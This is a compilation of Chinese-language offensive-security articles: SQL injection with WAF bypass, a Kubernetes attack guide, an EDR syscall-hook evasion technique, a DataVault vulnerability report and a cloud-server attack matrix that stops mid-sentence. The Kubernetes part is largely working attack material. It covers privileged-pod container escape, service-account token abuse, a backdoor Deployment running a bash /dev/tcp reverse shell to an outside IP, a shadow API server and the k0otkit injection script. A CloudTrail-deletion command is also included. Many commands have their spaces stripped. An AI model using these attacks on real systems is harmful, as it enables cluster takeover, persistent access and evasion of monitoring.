如下图，单引号报错，而且有报错回显，这种情况利用就是典型的布尔盲注，只要我们能在后面构造一个 and 1=1 或者 or 1=1这种语句，就能出数据

le40atl543a14842.png

这里是mysql的数据库，通常借助if函数来布尔注入，waf通常不拦单个if()，但会拦if(1,1,1)这种，如果拦了，可以把1替换成11-10，2替换成12-10这种

lnqmkwreo0n14843.png

 

 

 ltc1zpnijl014844.png

然后，超级注入工具一把梭就行了，

q21cx0rq5k414847.png

绕过waf正则就下面这种，比较简单

 

 chye2iywk0w14848.png

案例2:

  案例1构造的and是为了超级注入工具去识别页面返回的内容，去判断出 1=1正确的页面字段和1=2错误页面的字段，正常工具是识别不到注入点的，所以你要指定字段，给工具一个布尔注入的依据！

再来看一个例子，希望你能理解我的意思，，

如下图，还是mysql，成功构造出一个if

4hhmflybpiz14853.png

 

 ycokfkwuvyq14855.png

报文贴入超级注入工具，这款工具测试盲注只会测试1=1和1=2,所以，在if的第一个位置设置payload，看右下角的框，已经识别到正确页面的回显值，那后面，数据就出来了！

4etusy13yfh14860.png

案例3: 

这里提供一个mssql类型的，

也就是Sql-server，站点存在waf,测试oR 1=1 和 1=2这种不拦截，利用1=1这里构造下数据包，sql注入工具就能识别到布尔值了，

4obgzzvtj4k14863.png

后面就无脑出数据了，

gjo5mcjpy5t14866.png

 

 

原文连接：https://mp.weixin.qq.com/s/jrv1ZLjZ3IbtloRCXWDo-Q



HireHackking

隨著越來越多企業開始上雲的步伐，在攻防演練中常常碰到雲相關的場景，例如：公有云、私有云、混合雲、虛擬化集群等。以往滲透路徑是「外網突破- 提權- 權限維持- 信息收集- 橫向移動- 循環收集信息」，直到獲得重要目標系統。但隨著業務上雲以及虛擬化技術的引入改變了這種格局，也打開了新的入侵路徑，例如：

l通過虛擬機攻擊雲管理平台，利用管理平台控制所有機器

l通過容器進行逃逸，從而控制宿主機以及橫向滲透到K8s Master節點控制所有容器

l利用KVM-QEMU/執行逃逸獲取宿主機，進入物理網絡橫向移動控制雲平台

目前互聯網上針對雲原生場景下的攻擊手法零零散散的較多，僅有一些廠商發布過相關矩陣技術，但沒有過多的細節展示，本文基於微軟發布的Kubernetes威脅矩陣進行擴展，介紹相關的具體攻擊方法。

图片1.png

紅色標誌是攻擊者最為關注的技術點。

初始訪問lAPI Server未授權訪問

lkubelet未授權訪問

lDocker Daemon 公網暴露

lK8s configfile 洩露

API Server未授權訪問API Server作為K8s集群的管理入口，通常使用8080 和6443 端口，其中8080 端口無需認證，6443 端口需要認證且有TLS 保護。如果開發者使用8080 端口，並將其暴露在公網上，攻擊者就可以通過該端口的API，直接對集群下髮指令。

另一種場景是運維人員配置不當，將'system:anonymous'用戶綁定到'cluster-admin'用戶組，從而使6443端口允許匿名用戶以管理員權限向集群內部下髮指令。

#查看pods

https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500

#創建特權容器

https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444

{'apiVersion':'v1','kind':'Pod','metadata':{'annotations':{'kubectl.kubernetes.io/last-applied-configuration':'{\'apiVersion\':\'v1\',\'kind\':\'Pod\',\'metadata\':{\'annotations\'33 360{},\'name\':\'test-4444\',\'namespace\':\'default\'},\'spec\':{\'containers\':[{\'image\':\'nginx:1.14.2\',\'name\':\'test-4444\',\'volumeMounts\':[{\'mountPath\':\'/host\',\'n ame\':\'host\'}]}],\'volumes\':[{\'hostPath\':{\'path\':\'/\',\'type\':\'Directory\'},\'name\':\'host\'}]}}\n'},'name':'test-4444','namespace':'default'},'spec':{'containers': [{'image':'nginx:1.14.2','name':'test-4444','volumeMounts':[{'mountPath':'/host','name':'host'}]}],'volumes':[{'hostPath':{'path':'/','type':'Directory'},'name':'host'}]}}

#執行命令

https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami創建特權容器詳細解釋：

图片2.png

創建特權容器

K8s configfile 洩露K8s configfile作為K8s集群的管理憑證，其中包含有關K8s集群的詳細信息（API Server、登錄憑證）。

如果攻擊者能夠訪問到此文件(如辦公網員工機器入侵、洩露到Github 的代碼等)，就可以直接通過API Server 接管K8s 集群，帶來風險隱患。

用戶憑證保存在kubeconfig 文件中，kubectl 通過以下順序來找到kubeconfig 文件：

1.如果提供了--kubeconfig參數，就使用提供的kubeconfig 文件。

2.如果沒有提供--kubeconfig 參數，但設置了環境變量$KUBECONFIG，則使用該環境變量提供的kubeconfig 文件。

3.如果以上兩種情況都沒有，kubectl 就使用默認的kubeconfig 文件$HOME/.kube/config。

拿到K8s configfile完整利用流程：

K8s configfile -- 創建後門Pod/掛載主機路徑-- 通過Kubectl進入容器-- 利用掛載目錄逃逸。

#Linux安裝kubectl

curl-LO'https://dl.k8s.io/release/$(curl-L-shttps://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl'

sudoinstall-oroot-groot-m0755kubectl/usr/local/bin/kubectl

#內容放入config、或指定選項，需要修改Server地址

kubectl--kubeconfigk8s.yaml

#獲取已接取的鏡像

kubectlgetpods--all-namespaces--insecure-skip-tls-verify=true-ojsonpath='{.image}'|tr-s'[[:space:]]''\n'|sort|uniq-c

#創建Podpod.yaml，將宿主機根目錄掛載host文件

apiVersion:v1

kind:Pod

metadata:

name:test-444

spec:

containers:

-name:test-444

image:nginx:1.14.2

volumeMounts:

-name:host

mountPath:/host

volumes:

-name:host

hostPath:

path:/

type:Directory

#在default命名空間中創建pod

kubectlapply-fpod.yaml-ndefault--insecure-skip-tls-verify=true

#進入容器中

kubectlexec-ittest-444bash-ndefault--insecure-skip-tls-verify=true

#切換bash，逃逸成功

cd/host

chroot./bashDocker Daemon 公網暴露Docker以C/S模式工作，其中docker daemon服務在後台運行，負責管理容器的創建、運行和停止操作。

在Linux主機上，docker daemon監聽在/var/run/docker.sock中創建的unix socket，2375端口用於未認證的HTTP通信，2376用於可信HTTPS通信。

在最初版本安裝Docker時默認會把2375端口對外開放，目前默認只允許本地訪問。

管理員開啟遠程訪問的配置如下：

#開啟遠程訪問

vim/lib/systemd/system/docker.service

ExecStart=/usr/bin/dockerd-Hfd://-Htcp://0.0.0.0:2375-containerd=/run/containerd/containerd.sockDocker Daemon未授權訪問的檢測與利用：

#探測是否訪問未授權訪問

curlhttp://192.168.238.129:2375/info

docker-Htcp://192.168.238.129:2375info

#推薦使用這種方式，操作方便。

exportDOCKER_HOST='tcp://192.168.238.129:2375'Docker Daemon未授權實戰案例：

图片3.png

執行l利用Service Account

nCURL方式請求

nkubectl方式請求

利用Service AccountK8s集群創建的Pod中，容器內部默認攜帶K8s Service Account的認證憑據，路徑為：(/run/secrets/kubernetes.io/serviceaccount/token)

如運維配置不當沒有設置RBAC（基於角色的訪問控制）,那麼攻擊者就可以通過Pod獲取到Token進行API Server認證。

在較低版本v1.15.11中,Kubernetes默認是不會開啟RBAC控制，從1.16版本起，默認啟用RBAC訪問控制策略。從1.18開始，RBAC已作為穩定的功能。

下面就是利用Pod中的Token訪問API Server的一種場景：

#指向內部API服務器主機名

exportAPISERVER=https://${KUBERNETES_SERVICE_HOST}

#設置ServiceAccount令牌的路徑

exportSERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

#讀取pods命名空間並將其設置為變量。

exportNAMESPACE=$(cat${SERVICEACCOUNT}/namespace)

#讀取ServiceAccount不記名令牌

exportTOKEN=$(cat${SERVICEACCOUNT}/token)

#CACERT路徑

exportCACERT=${SERVICEACCOUNT}/ca.crt

執行以下命令查看當前集群中所有Namespaces。

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces

#寫入yaml,創建特權Pod

catnginx-pod.yamlEOF

apiVersion:v1

kind:Pod

metadata:

name:test-444

spec:

containers:

-name:test-444

image:nginx:1.14.2

volumeMounts:

-name:host

mountPath:/host

volumes:

-name:host

hostPath:

path:/

type:Directory

EOF

#創建pod

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-k${APISERVER}/api/v1/namespaces/default/pods-XPOST--header'content-type:application/yaml'--data-binary@nginx-pod.yaml

#查看信息

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces/default/pods/nginx

#執行命令

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=lscommand=-l

or

api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=lscommand=-lcontainer=nginxstdin=truestdout=truetty=true持久化lDaemonSets、Deployments

lShadow API

lRootkit

lcronjob持久化

Deployment創建容器時，通過啟用DaemonSets、Deployments，可以使容器和子容器即使被清理掉了也可以恢復，攻擊者經常利用這個特性進行持久化，涉及的概念有：

lReplicationController（RC）

ReplicationController確保在任何時候都有特定數量的Pod 副本處於運行狀態。

lReplication Set（RS）

Replication Set簡稱RS，官方已經推薦我們使用RS和Deployment來代替RC了，實際上RS和RC的功能基本一致，目前唯一的一個區別就是RC只支持基於等式的selector

lDeployment

主要職責和RC一樣，的都是保證Pod的數量和健康，二者大部分功能都是完全一致的，可以看成是一個升級版的RC控制器

官方組件kube-dns、kube-proxy也都是使用的Deployment來管理

這裡使用Deployment來部署後門

#dep.yaml

apiVersion:apps/v1

kind:Deployment#確保在任何時候都有特定數量的Pod副本處於運行狀態

metadata:

name:nginx-deploy

labels:

k8s-app:nginx-demo

spec:

replicas:3#指定Pod副本數量

selector:

matchLabels:

app:nginx

template:

metadata:

labels:

app:nginx

spec:

hostNetwork:true

hostPID:true

containers:

-name:nginx

image:nginx:1.7.9

imagePullPolicy:IfNotPresent

command:['bash']#反彈Shell

args:['-c','bash-i/dev/tcp/192.168.238.130/424201']

securityContext:

privileged:true#特權模式

volumeMounts:

-mountPath:/host

name:host-root

volumes:

-name:host-root

hostPath:

path:/

type:Directory

#創建

kubectlcreate-fdep.yamlShadow API Server如果部署了一個shadow apiserver，那麼該apiserver具有和集群中現在的apiserver一致的功能。同時開啟了全部k8s權限，接受匿名請求且不保存審計日誌，這將方便攻擊者無痕蹟的管理整個集群以及進行後續滲透行動。

Shadow API Server的配置與利用：

配置文件路徑：

/etc/systemd/system/kube-apiserver-test.service

#一鍵部署Shadowapiserver

./cdkrunk8s-shadow-apiserverdefault

#一鍵部署將在配置文件中添加瞭如下選項：

--allow-privileged

--insecure-port=9443

--insecure-bind-address=0.0.0.0

--secure-port=9444

--anonymous-auth=true

--authorization-mode=AlwaysAllow

#kcurl訪問與利用

./cdkkcurlanonymousgethttps://192.168.1.44:9443/api/v1/secretsRootkit這裡介紹一個k8s的rootkit，k0otkit 是一種通用的後滲透技術，可用於對Kubernetes 集群的滲透。使用k0otkit，您可以以快速、隱蔽和連續的方式（反向shell）操作目標Kubernetes 集群中的所有節點。

K0otkit使用到的技術：

lDaemonSet和Secret資源（快速持續反彈、資源分離）

lkube-proxy鏡像（就地取材）

l動態容器注入（高隱蔽性）

lMeterpreter（流量加密）

l無文件攻擊（高隱蔽性）

#生成k0otkit

./pre_exp.sh

#監聽

./handle_multi_reverse_shell.sh

k0otkit.sh的內容複製到master執行：

volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/containers:/{printNR}')

volume_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/volumes:/{printNR}')

image=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|grep'image:'|awk'{print$2}')

#createpayloadsecret

catEOF|kubectl--kubeconfig/root/.kube/configapply-f-

apiVersion:v1

kind:Secret

metadata:

name:$secret_name

namespace:kube-system

type:Opaque

data:

$secret_data_name:N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA.

#injectmaliciouscontainerintokube-proxypod

kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml\

|sed'$volume_line_numa\\\\\\-name:$volume_name\nhostPath:\npath:/\ntype:Directory\n'\

|sed'$ctr_line_numa\\\\\\-name:$ctr_name\nimage:$image\nimagePullPolicy:IfNotPresent\ncommand:[\'sh\']\nargs:[\'-c\',\'echo\$$payload_name|perl-e'my\$n=qq();my\$fd=syscall(319,\$n,1);open(\$FH,qq(=).\$fd);sele ct((select(\$FH),\$|=1)[0]);print\$FHpackq/H*/,my\$pid=fork();if(0!=\$pid){wait};if(0==\$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\']\nenv:\n-name:$payload_name\nvalueFrom:\nsecretKeyRef:\nname:$secret_name\n

HireHackking

為在成熟環境中運行而設計的Post-exploitation工具經常需要繞過在目標上運行的終端檢測和響應(EDR) 軟件。 EDR 經常通過掛鉤Windows API 函數進行操作，尤其是那些由ntdll 導出的函數（特別是基於Nt/Zw*() 系統調用的API 函數）。由於在正常情況下與底層操作系統的所有交互都將通過這些函數，這樣在檢測不需要的應用程序行為時就提供了一個理想的攔截點。

之前MDSec 已經在《绕过用户模式挂钩和直接调用红队的系统调用》 中討論了繞過這些掛鉤的各種方法，但是由於EDR 經常與攻擊者鬥法，因此EDR的檢測技術只有實時更新，以檢測識別用於實現繞過掛鉤的新技術。

在Nighthawk C2的開發過程中，MDSec 偶然發現了一種新的技術，用於識別某些系統調用的Syscall Number，然後可以使用該技術將ntdll 的新副本加載到內存中，從而允許剩餘的系統調用在不觸發任何已安裝的函數掛鉤的情況下成功讀取。該技術涉及濫用新的Windows 10 並行加載程序在進程初始化期間早期生成的某些系統調用的副本。

Windows 10 並行加載程序從Windows 10 開始，微軟引入了並行DLL 加載的概念。並行加載允許進程執行遞歸映射通過進程模塊導入表導入的DLL 的過程，而不是在單個線程上同步，從而在初始應用程序啟動期間提高性能。

當我們試圖理解為什麼在一個簡單的單線程應用程序中會創建三到四個額外的線程時，我們第一次注意到並行加載程序的存在。檢查這些線程可以確定它們是線程池的工作線程。

通過上網搜索其中原委時，有一篇來自2017 年黑莓的Jeffery Tang 的博客文章以及來自用戶RbMm的回答幫助了我，他在提供偽代碼以幫助闡明該過程中涉及的步驟方面也做得非常出色。這兩篇文章清楚地說明了背後的運行原因，如果對進一步了解並行加載程序工作原理有興趣，我推薦這兩篇文章。

在閱讀StackOverflow答案時，有一件事立即引起了我的注意，那就是如果發現有幾個核心低級別本機API被繞過，並行加載程序就會使並行DLL加載短路，並退回到同步模式。這些API參與了從磁盤打開和映射映像的過程。

以下是用戶RbMm的部分答复，我們將在下面進行詳細分析：

1.png

上面函數LdrpDetectDetour()的偽代碼本質上是檢查5個本機API函數NtOpenFile()， NtCreateSection()， ZwQueryAttributeFile()，ZwOpenSection()和ZwMapViewOfFile()，並確定這些字節是否已經從存儲在ntdll中的LdrpThunkSignature數組中已知的正確字節被修改。

通過對LdrpDetectDetour() 函數的快速反彙編確認上述偽代碼中描述的行為仍然存在，但應該提到的是，該函數現在額外地驗證了另外27個本機API的完整性，但仍然只是比較了詳細的5個函數的精確的系統調用存根。

用IDA Pro 檢查ntdll 發現LdrpDetectDetour() 函數是從兩個地方調用的：LdrpLoadDllInternal()（直接從LdrpLoadDll() 調用）和LdrpEnableParallelLoading()（在LdrpInitializeProcess() 的後期調用）。由於LdrpDetectDetour() 函數配置了一個全局變量，該變量可以停止並行加載並強制進一步加載同步發生，並且許多安裝了detours 的DLL（例如EDR 用戶空間組件）在加載到進程時立即執行此操作，它在加載每個新的DLL 依賴項時重複調用detour 檢測函數是有意義的。

然而，對這一過程的研究又引發了另一個問題，已知的5個本機API函數的已知良好存根從何而來？最初以為系統調用存根將在代碼生成期間的編譯時被硬編碼，但是靜態檢查LdrpThunkSignature 數組表明情況並非如此，因為在映射ntdll 之前數組沒有初始化，原因是數組駐留在未初始化的.data 中部分。

LdrpThunkSignature標識的數據交叉引用了另一個數組的使用,在LdrpCaptureCriticalThunks(),這個函數反過來調用早期LdrpInitializeProcess()之前進口依賴加載，因此第三方模塊安裝的detours 可能已加載到進程中。

快速手動反編譯LdrpCaptureCriticalThunks() 會顯示類似於以下偽代碼的實現：

2.png

從上面可以清楚地看到，LdrpCaptureCriticalThunks()將五個關鍵函數的每個系統調用存根的前16個字節從每個函數中復製到LdrpThunkSignature數組中。

從LdrpThunkSignature中恢復系統調用具有post-exploitation工具開發經驗的讀者無疑會收穫頗多，有了這五個關鍵函數和它們的Syscall Number（直接從LdrpThunkSignature 讀取）的知識，我們有足夠的本機API 函數能夠使用系統調用從磁盤讀取ntdll 的新副本。

由於LdrpThunkSignature數組不是由ntdll導出的，我們需要在ntdll .data節中找到它。該數組可以通過公共系統調用序言的出現被識別出來：

3.png

下面的代碼能夠使用這個信息來恢復所需的系統調用（MDSec 提供的用於恢復所有系統調用代碼段）：

4.png

可以在MDSec ActiveBreach GitHub 存儲庫中找到使用上述方法從磁盤讀取ntdll 來恢復所有系統調用的實現。

這個實現當然是一個PoC，從opsec 的角度來看並不是最優的，例如，系統調用存根是用使用VirtualAlloc() 創建的RWX 內存分配的。

HireHackking

研究人員發現DataVault軟件中使用的AES-1024可被打破。

研究人員Sylvain Pelissier發現ENC Security開發和被多個硬件設備廠商廣泛使用的DataVault加密軟件中存在安全漏洞，攻擊者利用該漏洞可以獲取用戶的密碼。

DataVault是由ENCSecurity公司開發的一款保護用戶數據的高級加密軟件，據稱可以通過1024位AES加密來為多個系統提供軍事級的數據保護和安全特徵。包括西數、索尼、Lexar雷克沙在內的廠商的USB設備和其他存儲產品中都使用DataVault軟件。近日，安全研究人員Pelissier 逆向DataVault軟件後發現了2個安全漏洞，漏洞CVE編號為CVE-2021-36750 和CVE-2021-36751。

DataVault默認是獨立運行的。研究人員通過逆向發現使用的秘鑰派生函數是PBKDF2，使用了1000輪的MD5來派生加密密鑰。派生密鑰所用的salt是常數，並且是硬編碼在所有的解決方案和產品中的。因此，攻擊者可以通過時間/內存攻擊的方式來猜測用戶設置的密碼，比如彩虹表，還可以用彩虹表來提取使用該軟件的所有用戶的密碼。

使用的數據加密算法也是易被攻擊的，運行攻擊者在不被檢測到的情況下對文件進行惡意修改。數據加密算法中沒有設置數據完整性機制。該軟件的完全版本的設置中允許用戶選擇4種不同的安全等級，AES-128、AES-256、AES-512、AES-1024。研究人員通過逆向發現加密方法是基於使用單個密鑰的AES-128來構造的。加密的多輪會用密鑰派生函數派生的秘鑰作為初始向量來鏈接起來。研究人員經過分析發現這幾種模式最終只提供了128位的安全等級。

相關漏洞已經在DataVault 7.2版本中修復。

更多技術細節參見Pelissier在Remote Chaos Experience (rC3)在線會議上的演講：https://rc3.world/2021/public_fahrplan#3c5f6844-cdc8-5a1a-a342-d93b43546a82

HireHackking

前言雲服務器（Cloud Virtual Machine，CVM）是一種較為常見的雲服務，為用戶提供安全可靠以及高效的計算服務。用戶可以靈活的擴展以及縮減計算資源，以適應變化的業務需求。使用雲服務器可以極大降低用戶的軟硬件採購成本以及IT 運維成本。

由於雲服務器中承載著用戶的業務以及數據，其安全性尤為重要而云服務器的風險往往來自於兩方面：雲廠商平台側的風險與用戶在使用雲服務器時的風險。與用戶側風險相比，平台側的漏洞往往帶來更廣泛的影響，例如於2018 披露的AWS Launching EC2s did not require specifying AMI owner漏洞（CVE-2018-15869）、2020年披露的AWS XSS on EC2 web console漏洞；而與平台側漏洞相比，用戶側漏洞更容易產生，並且可以對用戶資產代理嚴重影響，例如2020年美高梅(MGM.US)大規模客戶數據洩露為例，美高梅酒店由於錯誤配置，導致雲服務器可以在未經授權情況下訪問，導致1.42億有關客人的信息暗網上出售，這些數據包含客人的家庭住址、聯繫信息、出生日期、駕照號碼和護照號碼。

雲服務器的安全性至關重要，只有深入了解針對雲服務器的風險以及攻擊手段，才能夠有效的幫助雲廠商以及用戶在面對這些威脅時有效的識別並採取對應的防護手段，從而保護雲上業務以及數據的安全。

雲服務器攻防矩陣概覽騰訊安全雲鼎實驗室以公開的雲廠商歷史漏洞數據、安全事件，以及騰訊云自身的安全數據為基礎，抽像出針對雲的攻防矩陣，並於2021年9月26日西部雲安全峰會上發布的《云安全攻防矩阵v1.0》 中首次亮相。《云安全攻防矩阵v1.0》 由雲服務器、容器以及對象存儲服務攻防矩陣共同組成。

本文將詳細介紹《云安全攻防矩阵》 中關於雲服務器攻防矩陣部分內容，以幫助開發、運維以及安全人員了解雲服務器的安全風險。

计划.png

雲服務器攻防矩陣

雲服務器攻防矩陣詳解初始訪問云平台主API密鑰洩露

雲平台主API密鑰重要性等同於用戶的登錄密碼，其代表了賬號所有者的身份以及對應的權限。

API 密鑰由SecretId和SecretKey組成，用戶可以通過API密鑰來訪問云平台API進而管理賬號下的資源。在一些攻擊場景中，由於開發者不安全的開發以及配置導致憑據洩露；而在另一些針對設備的入侵場景中，攻擊者將入侵設備並獲取設備中存儲的雲平台憑據，例如2020年TeamTNT組織針對Docker的攻擊事件中，惡意程序將會掃描受感染系統的~/.aws/credentials和~/.aws/config文件並竊取，導致AWS 憑證洩露。

在攻擊者可以通過竊取到的雲平台主API 密鑰後，冒用賬號所有者的身份入侵雲平台，非法操作雲服務器，篡改其中業務代碼、添加後門程序或竊取其中數據。

雲平台賬號非法登錄

雲平台提供多種身份驗證機制以供用戶登錄，包括手機驗證、賬號密碼驗證、郵箱驗證等。在雲平台登錄環節，攻擊者通過多種手法進行攻擊以獲取用戶的登錄權限，並冒用用戶身份非法登錄，具體的技術包括使用弱口令、使用用戶洩露賬號數據、騙取用戶登錄手機驗證碼、盜取用戶登錄賬號等。攻擊者使用獲取到的賬號信息進行非法登錄雲平台後，即可操作雲服務器。

實例登錄信息洩露

在購買並創建雲服務器後，用戶可以自行配置雲服務器的登錄用戶名以及登錄密碼，Linux雲服務器往往支持用戶通過ssh的方式使用配置的用戶名密碼或SSH密鑰的方式遠程登錄雲服務器；在Windows服務器中，用戶可以通過RDP文件或是遠程桌面的形式登錄雲服務器。當上述這些雲服務器實例登錄信息被竊取後，攻擊者可以通過這些信息非法登錄雲服務器實例。

賬戶劫持

當云廠商提供的控制台存在漏洞時，用戶的賬戶存在一定的劫持風險。以AWS 控制台更改歷史記錄功能模塊處XSS漏洞以及AWS 控制台實例tag處XSS為例，攻擊者可以通過這些XSS漏洞完成賬戶劫持攻擊，從而獲取雲服務器實例的控制權。

網絡釣魚

為了獲取雲服務器的訪問權限，攻擊者可採用網絡釣魚技術手段完成此階段攻擊。攻擊者通過向雲服務器管理人員以及運維人員發送特定主題的釣魚郵件、或是偽裝身份與管理人員以及運維人員通過聊天工具進行交流，通過竊取憑據、登錄信息或是安插後門的形式獲取雲服務器控制權。

應用程序漏洞

當云服務器實例中運行的應用程序存在漏洞、或是由於配置不當導致這些應用可以被非法訪問時，攻擊者可以通過掃描探測的方式發現並利用這些應用程序漏洞進行攻擊，從而獲取雲服務器實例的訪問權限。

使用惡意或存在漏洞的自定義鏡像

雲平台為用戶提供公共鏡像、自定義鏡像等鏡像服務以供用戶快速創建和此鏡像相同配置的雲服務器實例。這裡的鏡像雖然與Docker鏡像不同，其底層使用的是雲硬盤快照服務，但云服務器鏡像與Docker鏡像一樣存在著類似的風險，即惡意鏡像以及存在漏洞的鏡像風險。當用戶使用其他用戶共享的鏡像創建雲服務器實例時，雲平台無法保證這個共享鏡像的完整性或安全性。攻擊者可以通過這個方式，製作惡意自定義鏡像並通過共享的方式進行供應鏈攻擊。

實例元數據服務未授權訪問

雲服務器實例元數據服務是一種提供查詢運行中的實例內元數據的服務，雲服務器實例元數據服務運行在鏈路本地地址上，當實例向元數據服務發起請求時，該請求不會通過網絡傳輸，但是如果雲服務器上的應用存在RCE、SSRF等漏洞時，攻擊者可以通過漏洞訪問實例元數據服務。通過雲服務器實例元數據服務查詢，攻擊者除了可以獲取雲服務器實例的一些屬性之外，更重要的是可以獲取與實例綁定的擁有高權限的角色，並通過此角色獲取雲服務器的控制權。

執行通過控制台登錄實例執行

攻擊者在初始訪問階段獲取到平台登錄憑據後，可以利用平台憑據登錄雲平台，並直接使用雲平台提供的Web控制台登錄雲服務器實例，在成功登錄實例後，攻擊者可以在實例內部執行命令。

寫入userdata執行

Userdata是雲服務器為用戶提供的一項自定義數據服務，在創建雲服務器時，用戶可以通過指定自定義數據，進行配置實例。當云服務器啟動時，自定義數據將以文本的方式傳遞到雲服務器中，並執行該文本。

通過這一功能，攻擊者可以修改實例userdata並向其中寫入待執行的命令，這些代碼將會在實例每次啟動時自動執行。攻擊者可以通過重啟雲服務器實例的方式，加載userdata中命令並執行。

利用後門文件執行

攻擊者在雲服務器實例中部署後門文件的方式有多種，例如通過Web應用漏洞向雲服務器實例上傳後門文件、或是通過供應鏈攻擊的方式誘使目標使用存在後門的惡意鏡像，當後門文件部署成功後，攻擊者可以利用這些後門文件在雲服務器實例上執行命令

利用應用程序執行

雲服務器實例上部署的應用程序，可能會直接或者間接的提供命令執行功能，例如一些服務器管理類應用程序將直接提供在雲服務器上執行命令的功能，而另一些應用，例如數據庫服務，可以利用一些組件進行命令執行。當這些程序存在配置錯誤時，攻擊者可以直接利用這些應用程序在雲服務器實例上執行命令

利用SSH服務進入實例執行

雲服務器Linux實例上往往運行著SSH服務，當攻擊者在初始訪問階段成功獲取到有效的登錄憑據後，即可通過SSH登錄雲服務器實例並進行命令執行。

利用遠程代碼執行漏洞執行

當云服務器上部署的應用程序存在遠程代碼執行漏洞時，攻擊者將利用此脆弱的應用程序並通過編寫相應的EXP來進行遠程命令執行。

使用雲API執行

攻擊者利用初始訪問階段獲取到的擁有操作雲服務器權限的憑據，通過向雲平台API接口發送HTTP/HTTPS 請求，以實現與雲服務器實例的交互操作。

雲服務器實例提供了豐富的API接口以共用戶使用，攻擊者可以通過使用這些API接口並構造相應的參數，以此執行對應的操作指令，例如重啟實例、修改實例賬號密碼、刪除實例等。

使用雲廠商工具執行

除了使用雲API接口完成雲服務器命令執行之外，還可以選擇使用雲平台提供的可視化或命令行工具進行操作。在配置完成雲服務器實例信息以及憑據後，攻擊者即可使用這類工具進行服務器實例的管理以及執行相應命令。

持久化利用遠程控制軟件

為了方便管理雲服務器實例，管理員有可能在實例中安裝有遠程控制軟件，這種情況在windows實例中居多。攻擊者可以在服務器中搜索此類遠程控制軟件，並獲取連接憑據，進行持久化。攻擊者也可以在實例中安裝遠控軟件以達成持久化的目的。

在userdata中添加後門

正如“執行”階段所介紹，攻擊者可以利用雲服務器提供的userdata服務進行持久化操作，攻擊者可以通過調用雲API接口的方式在userdata中寫入後門代碼，每當服務器重啟時，後門代碼將會自動執行，從而實現了隱蔽的持久化操作目的

在雲函數中添加後門

雲函數是是一種計算服務，可以為企業和開發者們提供的無服務器執行環境。用戶只需使用平台支持的語言編寫核心代碼並設置代碼運行的條件，即可彈性、安全地運行代碼，由平台完成服務器和操作系統維護、容量配置和自動擴展、代碼監控和日誌記錄等工作。

以AWS Lambda為例，用戶可以創建一個IAM角色並賦予其相應的權限並在創建函數時提供該角色作為此函數的執行角色，當函數被調用時，Lambda 代入該角色，如果函數綁定的角色權限過高，攻擊者可以在其中插入後門代碼，例如在調用該函數後創建一個新用戶，以此進行持久化操作。

在自定義鏡像庫中導入後門鏡像

在攻擊者獲取雲服務器控制台權限後，可以對用戶自定義鏡像倉庫中的鏡像進行導入、刪除等操作，攻擊者可以將其構造的存在後門的鏡像上傳至用戶鏡像倉庫。此外，為了提高攻擊成功率，攻擊者還可以使用後門鏡像替換用戶鏡像倉庫中原有鏡像。當用戶使用後門鏡像進行實例創建時，即可觸發惡意代碼以完成持久化操作。

給現有的用戶分配額外的API密鑰

API密鑰是構建騰訊雲API 請求的重要憑證，雲平台運行用戶創建多個API密鑰，通過此功能，擁有API密鑰管理權限的攻擊者可以為賬戶下所有用戶分配一個額外的API密鑰，並使用這些API密鑰進行攻擊。

建立輔助賬號登錄

擁有訪問管理權限的攻擊者可以通過建立子賬號的形式進行持久化操作，攻擊者可以將建立的子賬號關聯等同於主賬號的策略，並通過子賬號進行後續的攻擊行為。

權限提升通過訪問管理提權

錯誤的授予雲平台子賬號過高的權限，也可能會導致子賬號通過訪問管理功能進行提權操作。由於錯誤的授予雲平台子賬號過高的操作訪問管理功能的權限，子賬號用戶可以通過訪問管理功能自行授權策略。通過此攻擊手段，攻擊者可以通過在訪問管理中修改其云服務器的權限策略，以達到權限提升。

利用應用程序提權

攻擊者通過雲服務器中運行的Docker容器中應用漏洞，成功獲取Docker容器的權限，攻擊者可以通過Docker漏洞或錯誤配置進行容器逃逸，並獲取雲主機的控制權，從而實現權限提升。當然，攻擊者也可以通過其他應用程序進行提權。

創建高權限角色

當攻擊者擁有訪問管理中新建角色的權限時，可以通過調用雲API接口的方式，建立一個新的角色，並為這個角色賦予高權限的策略，攻擊者可以通過利用此角色進行後續的攻擊行為。

利用操作系統漏洞進行提權

與傳統主機安全問題相似，雲服務器實例也同樣可能存在操作系統漏洞，攻擊者可以利用操作系統漏洞，進行權限提升。

防禦繞過關閉安全監控服務

雲平台為了保護用戶雲主機的安全，往往會提供一些安全監控產品用以監控和驗證活動事件的真實性，並且以此辨識安全事件，檢測未經授權的訪問。攻擊者可以通過在攻擊流程中關閉安全監控產品以進行防禦繞過，以AWS CloudTrail為例，攻擊者可以通過如下指令指令關閉CloudTrail監控：

aws cloudtrail delete-trail --name [my-trail]

但是進行此操作會在CloudTrail控制台或GuardDuty中觸發告警，也可以通過配置禁用多區域日誌記錄功能，並在監控區域外進行攻擊，以AWS CloudTrail為例，攻擊者可以通過如下指令關閉多區域日誌記錄功能：

